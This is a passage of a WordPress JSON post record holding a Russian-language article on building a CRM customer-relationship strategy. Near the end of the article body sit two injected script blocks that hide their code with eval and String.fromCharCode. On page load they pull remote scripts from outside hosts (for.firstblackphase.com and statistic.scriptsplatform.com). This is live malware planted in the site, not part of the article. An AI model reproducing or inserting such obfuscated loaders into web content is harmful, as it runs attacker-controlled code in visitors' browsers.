\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0441\u043e\u043d\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u043e\u043f\u044b\u0442\u0430. \u0411\u0435\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439 \u043b\u044e\u0431\u0430\u044f CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0441\u0435\u043c\u0438\u043d\u0430\u0440\u0430 \u043f\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u043f\u043b\u0430\u043d\u0443, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0435\u043c\u0443\u0441\u044f \u043a \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438. \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 CRM-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u0435 \u0443\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043e\u0431\u0449\u0435\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0435 \u0434\u0430\u0441\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430.<\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u043f\u0440\u043e\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u0432\u044f\u0437\u0438. \u041d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u043c \u0441\u0430\u043c\u0438 CRM-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u044d\u0442\u0430\u043f\u0430 \u2013 \u043f\u043e\u043d\u044f\u0442\u044c, \u0432 \u043a\u0430\u043a\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u00ab\u0443\u044f\u0437\u0432\u0438\u043c\u00bb \u043a \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f. \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432\u044b \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u0435 \u0441\u0435\u0439\u0447\u0430\u0441, \u0447\u0435\u0440\u0435\u0437 3 \u043c\u0435\u0441\u044f\u0446\u0430 \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439.<\/p>\n<h2 id=\"toc-7\">\u0428\u0430\u0433 2  \u041f\u0440\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044e \u0420\u0430\u0431\u043e\u0442\u044b \u0421 \u041f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044f\u043c\u0438<\/h2>\n<p>\u0422\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u0443\u044e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044e \u0441 \u044d\u0444\u0444\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438. \u0415\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u043d\u0430 \u0441\u043e\u0432\u0435\u0442\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u043e\u0432, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0431\u043b\u0430\u0433\u043e\u043f\u043e\u043b\u0443\u0447\u043d\u043e \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0435\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c. \u041f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0441\u043d\u0438\u0437\u0443 &#8211; \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f CRM. \u041d\u0443\u0436\u043d\u043e \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044e \u0434\u043e \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0432\u043e\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0435\u0433\u043e \u044f\u0437\u044b\u043a\u043e\u043c. \u041f\u043b\u0430\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0439 \u0446\u0438\u043a\u043b \u0441\u0431\u043e\u0440\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u0438 \u0432\u043d\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445.<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><script id='globalsway'><\/script><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c\u0438 \u0421 \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438: Crm \u0418 \u041b\u043e\u044f\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0428\u0430\u0433 3 \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0418 \u0422\u0438\u043f \u0414\u0430\u043d\u043d\u044b\u0445 \u0428\u0430\u0433\u043e\u0432 \u041a \u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0439 Crm \u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0420\u0430\u0431\u043e\u0442\u044b \u0421\u00a0\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u0428\u0430\u0433 4 \u041e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u043c \u0422\u043e\u0447\u043a\u0438 \u0421\u043e\u043f\u0440\u0438\u043a\u043e\u0441\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u041a\u043b\u0438\u0435\u043d\u0442\u0430 \u0421 \u0411\u0438\u0437\u043d\u0435\u0441\u043e\u043c \u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 CRM \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043a\u0440\u043e\u0441\u0441-\u043f\u0440\u043e\u0434\u0430\u0436\u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u043e. \u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 2014 \u0433\u043e\u0434 \u0431\u043e\u043b\u0435\u0435 70% \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-6813","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6813","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/comments?post=6813"}],"version-history":[{"count":1,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6813\/revisions"}],"predecessor-version":[{"id":6814,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6813\/revisions\/6814"}],"wp:attachment":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/media?parent=6813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/categories?post=6813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/tags?post=6813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}